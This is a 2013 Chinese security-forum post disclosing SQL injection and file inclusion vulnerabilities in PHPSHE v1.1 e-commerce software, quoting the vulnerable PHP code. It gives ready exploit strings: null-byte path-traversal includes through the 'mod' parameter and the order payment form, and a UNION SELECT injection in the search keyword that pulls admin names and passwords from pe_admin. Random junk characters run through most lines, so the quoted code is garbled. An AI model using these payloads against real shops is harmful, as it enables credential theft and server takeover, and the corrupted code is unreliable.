找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2125|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/
5 k/ v* ]4 K# E  S2 f/* Phpshe v1.1 Vulnerability
$ p( F$ x( B# g/* ========================+ w' Y. ]6 V. J, K, M  a( W) ?6 ^
/* By: : Kn1f3& g6 n# q% W$ z. q0 _" M
/* E-Mail : 681796@qq.com
( X: u8 f8 I) [4 l! ]7 Y/*******************************************************/0 x3 h& V3 O" v1 x
0×00 整体大概参数传输0 O3 p$ z6 n5 ]. G, A
2 X; p9 L* S; [2 @) r$ W
% j& w1 ?+ h) ]
# f& e. n" r4 h4 `6 r8 }, E) V
//common.php1 F. o' ]5 m1 B3 H( p4 K, X1 w
if (get_magic_quotes_gpc()) {& f/ w( S$ U; e( M5 @
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');7 h2 x# u$ ]: H; }2 {
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');. s6 }! G0 w1 Y" D$ N1 o
}+ s: B1 e$ `1 `+ M* G. ^5 q# F
else {
! V/ u# Y& B8 t7 K8 ~5 v!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
) x# e- m! D% j  r" O9 {!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
( m0 l0 ?9 R( f) o5 Q# h" p}; [5 f( ~# A6 d/ A+ s
session_start();7 [3 w) x2 Z/ Z
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');/ s. }9 p0 {) V2 B$ k- T
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');* Y: x$ E4 o% I+ B
2 j" R2 m1 l* @
0×01 包含漏洞
4 c& ~8 g2 o+ C1 D- C' O6 Q% u % R; J/ _4 V. l. M. q

! I; A3 K, }! j' ^. \* D! b//首页文件7 R# ]4 s7 Z2 ^& s
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);: g+ g1 p: T9 A3 w. x* w
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞  e# m, L% O, _9 j- P
pe_result();
9 Q( C  p2 w: o$ t" d?>
% l5 D: ~% P* t9 B* z//common 文件 第15行开始
1 Q$ S& |* t/ t8 z+ {url路由配置
. |  l4 y6 K: p, }2 y$module = $mod = $act = 'index';
5 x8 V5 F; J& e$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);# [" T/ j5 u- ]$ b: L' }8 k& Y- ?; B9 @
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
; ?2 P. Q3 U6 y7 n# U$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
. Q) I8 j8 U4 B' m1 W3 m//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%006 @' g3 t  g/ ?. [0 P& I2 ?1 F


# x: ]. f  M  e( O ; |# S* ^) G) U" I0 ^  C- L
0×02 搜索注入- x/ ^1 @& b2 |8 k, X8 @! z
! ~8 P! k( }" _) Y
<code id="code2">

//product.php文件
9 b: V0 `  W6 e1 ~case 'list':5 W8 Y* ~: b. K' P3 T
$category_id = intval($id);
: A0 i5 f( {, b+ V/ ]$ b0 Q$info = $db->pe_select('category', array('category_id'=>$category_id));
" e6 S) Z% i2 m' C//搜索
1 x, L$ T7 N8 f; S' o) A. C- r  I$sqlwhere = " and `product_state` = 1";
3 {: N9 D, p0 ^pe_lead('hook/category.hook.php');
6 g  t; E% W: Sif ($category_id) {
. x5 n& C% d6 W$ o' v2 Lwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
9 s2 J/ g; A. t7 G% c5 J6 V}. G+ p4 E* _! a5 |/ M( ?
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
4 }9 Y' v8 l& Pif ($_g_orderby) {! ]" }8 }) \  Z9 t$ @; a! U" B
$orderby = explode('_', $_g_orderby);1 d* Z* U# Q( n+ |! x- V
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
" n- l& U) J% }% Q2 Z+ H3 X* u}) P3 S" I! H4 z# M* L
else {" _7 X) N; j" m9 S; Y
$sqlwhere .= " order by `product_id` desc";8 t: w( n  y5 l! n% ~! n/ D
}' j. L! K" S7 w2 D( {9 K
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
. L# X* k/ T5 K9 U//热卖排行6 {  w$ C- e6 j% Z+ |4 p
$product_hotlist = product_hotlist();
& x* |% d9 A. o/ J2 L, [( {//当前路径
- [2 r# S( b4 W% F. F/ w4 p; y$nowpath = category_path($category_id);
3 Z3 E& f6 X& a2 c8 V8 A$seo = pe_seo($info['category_name']);
9 n" v* X. `5 Linclude(pe_tpl('product_list.html'));
3 V$ j  _0 U7 Q+ @//跟进selectall函数库
) [+ }3 C: x$ e& f3 t( M- T$ Apublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())$ U2 _" a5 R% _
{
1 ~4 d+ ^5 @" P9 u//处理条件语句2 k3 J9 W; W0 S( J2 g# P" s3 w- ~
$sqlwhere = $this->_dowhere($where);% m* J* v+ t* b& }& A
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
) Y+ _+ X& i- `' H3 L+ o}
! Y; _/ Y# ~& F9 ?& |//exp
% B" {6 t+ ]5 O; T/ t/ y, rproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
* M% `9 }) ^4 o0 f9 A

</code>  V  j. U) ]. F+ H& ]* P8 l  K& v

$ x7 Q$ g. j  b4 h# W0×03 包含漏洞2) \, K: L$ C0 L/ r3 {  l5 o9 Q2 k
/ Z3 _1 Q$ h' W9 F
<code id="code3">

//order.php

case 'pay':

$ M+ @* Z% U& X7 Q" G0 ?
$order_id = pe_dbhold($_g_id);

( ?2 l% W$ |$ u
$cache_payway = cache::get('payway');

8 k: C2 o; X; }3 h
foreach($cache_payway as $k => $v) {


9 o9 Y$ x" I( n# Z5 y. `$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


; t- |8 g4 m( l3 P- rif ($k == 'bank') {

; I+ a$ k1 }' ]1 h
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


) f; @7 _# C8 u) ^2 R+ K- l8 p}

' O; S7 w% g9 |5 l
}

! b' ?: s" A# O5 s" [$ z
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


9 S' `% M4 o4 z; y2 v7 @+ Q1 m!$order['order_id'] && pe_error('订单号错误...');

7 V- h! W0 X) U6 @5 A( N) U$ L
if (isset($_p_pesubmit)) {

6 B" r6 t. n- J: x) ^3 l7 S2 g
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


0 C* `1 h* R' M$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


7 p3 V/ A( ^0 h$ H  u# tforeach ($info_list as $v) {

. j! r% S, d  ?, k" L  w& i
$order['order_name'] .= "{$v['product_name']};";! e( }5 D" d7 R1 {

+ [; _6 Q' `! m. {
}


6 b3 P8 [( v/ {  c, B" O+ t' Becho '正在为您连接支付网站,请稍后...';


$ t! N' g* C; Y  h; binclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


* u. t% \* `+ q- s4 ^}//当一切准备好的时候就可以进行"鸡肋包含了"


0 d0 {# i5 ^$ }else {

, A0 U6 Y. v  X# o5 `
pe_error('支付错误...');

$ S. ?, k4 L7 I* i
}

/ y& `0 p( k2 }. e9 t
}

0 h. X4 J1 y/ m  q0 V
$seo = pe_seo('选择支付方式');

: X4 w+ p5 v3 l9 Y1 ^0 o: a# T
include(pe_tpl('order_pay.html'));

7 t. K) U* n' e+ E8 O5 q5 P/ \
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>* v# g. d2 m- Y9 {/ `: y5 K2 P
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表